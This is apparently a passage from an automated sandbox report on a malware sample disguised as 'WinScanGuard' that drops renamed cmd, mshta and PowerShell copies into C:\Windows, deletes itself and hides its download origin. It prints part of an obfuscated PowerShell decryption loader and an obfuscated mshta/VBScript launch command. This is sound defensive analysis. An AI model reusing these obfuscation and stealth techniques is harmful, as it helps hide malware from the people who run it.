-join '')($tbgVF);$mjWsq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v2S4NwnXvXtvXwhesSwNIQ==');$mjWsq = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mjWsq, 0, $mjWsq.Length);$mjWsq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mjWsq);$iBFKh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RZnS/OPKxZu99whpuaUC1mhVovuCskWdCRfz1FlzhkQ9viPcHXWbSXtn8ebOdAixZCvIKg7kNsNJQfjixS10DgPnP1RgMFsS0Ufgfy1HhpeBrScxYLrFwuGlVdIKxKsNCNlET01ZQTP7t1afzsZuiFRyhdaoNNd/a48fSObOV6s0Dg4uz6IT5eoHk560k0oKDQhofXeJn4REmUW/Qa+OFgHhvk0nKSZmZIWIfiCOl824A/iJhUAIvvnXISy3KfqXbk9SxrWiI48yb3R5eHDU2SFOOdwj4/P9sUdFWqjTGEiXd	Jump to behavior

Obfuscated command line found

Source: unknown

Process created: C:\Windows\$sxr-mshta.exe C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-bWTLJBKbogHiYUerhoAr4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"

Source: C:\Windows\$sxr-mshta.exe	Code function: 13_2_000001A00AAE870D push rcx; retf 003Fh	13_2_000001A00AAE870E
Source: C:\Windows\$sxr-mshta.exe	Code function: 13_2_000001A00BDC950D push rcx; retf 003Fh	13_2_000001A00BDC950E
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_0000020D0B60870D push rcx; retf 003Fh	16_2_0000020D0B60870E
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_0000020D0B63950D push rcx; retf 003Fh	16_2_0000020D0B63950E
Source: C:\Windows\$sxr-powershell.exe	Code function: 21_2_000002428789870D push rcx; retf 003Fh	21_2_000002428789870E
Source: C:\Windows\$sxr-powershell.exe	Code function: 21_2_00000242878C950D push rcx; retf 003Fh	21_2_00000242878C950E
Source: C:\Windows\$sxr-powershell.exe	Code function: 21_2_00007FFD9BB806C8 push edi; ret	21_2_00007FFD9BB806CA
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC62870D push rcx; retf 003Fh	24_2_00000225DC62870E
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC65950D push rcx; retf 003Fh	24_2_00000225DC65950E
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC68870D push rcx; retf 003Fh	24_2_00000225DC68870E
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC70870D push rcx; retf 003Fh	24_2_00000225DC70870E
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC76870D push rcx; retf 003Fh	24_2_00000225DC76870E
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC7C870D push rcx; retf 003Fh	24_2_00000225DC7C870E
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC82870D push rcx; retf 003Fh	24_2_00000225DC82870E
Source: C:\Windows\System32\lsass.exe	Code function: 25_2_00000202C0AC870D push rcx; retf 003Fh	25_2_00000202C0AC870E
Source: C:\Windows\System32\lsass.exe	Code function: 25_2_00000202C0AF950D push rcx; retf 003Fh	25_2_00000202C0AF950E
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A6612E870D push rcx; retf 003Fh	27_2_000002A6612E870E
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A66131950D push rcx; retf 003Fh	27_2_000002A66131950E
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A66137950D push rcx; retf 003Fh	27_2_000002A66137950E
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAF1E870D push rcx; retf 003Fh	30_2_000002BAAF1E870E
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAF21870D push rcx; retf 003Fh	30_2_000002BAAF21870E
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB14C950D push rcx; retf 003Fh	30_2_000002BAB14C950E
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB14F870D push rcx; retf 003Fh	30_2_000002BAB14F870E
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB155870D push rcx; retf 003Fh	30_2_000002BAB155870E
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_0000026A879D870D push rcx; retf 003Fh	31_2_0000026A879D870E
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_0000026A87F5950D push rcx; retf 003Fh	31_2_0000026A87F5950E
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000001795378870D push rcx; retf 003Fh	36_2_000001795378870E
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_00000179537B950D push rcx; retf 003Fh	36_2_00000179537B950E
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_0000017953D5950D push rcx; retf 003Fh	36_2_0000017953D5950E

Source: C:\Windows\$sxr-mshta.exe

Code function: 13_2_00007FF7142F1008 GetVersion,GetModuleHandleW,GetProcAddress,LoadLibraryW,GetProcAddress,FreeLibrary,RegOpenKeyExA,RegQueryValueExA,ExpandEnvironmentStringsA,LoadLibraryA,RegCloseKey,GetModuleHandleW,GetProcAddress,MultiByteToWideChar,UnregisterApplicationRestart,GetProcAddress,FreeLibrary,RegCloseKey,

13_2_00007FF7142F1008

Source: WinScanGuard_v.2.1.bat.exe.0.dr

Static PE information: 0x7EDA4115 [Wed Jun 10 07:45:25 2037 UTC]

Source: $sxr-cmd.exe.2.dr

Static PE information: section name: .didat

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\$sxr-powershell.exe	Executable created and started: C:\Windows\$sxr-powershell.exe	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Executable created and started: C:\Windows\$sxr-cmd.exe	Jump to behavior
Source: unknown	Executable created and started: C:\Windows\$sxr-mshta.exe

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	File created: C:\Windows\$sxr-cmd.exe	Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Jump to dropped file
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	File created: C:\Windows\$sxr-powershell.exe	Jump to dropped file
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	File created: C:\Windows\$sxr-mshta.exe	Jump to dropped file

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	File created: C:\Windows\$sxr-cmd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	File created: C:\Windows\$sxr-powershell.exe	Jump to dropped file
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	File created: C:\Windows\$sxr-mshta.exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe

File deleted: c:\users\user\desktop\winscanguard_v.2.1.bat

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\$sxr-powershell.exe

File opened: C:\Windows\$sxr-powershell.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT			Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
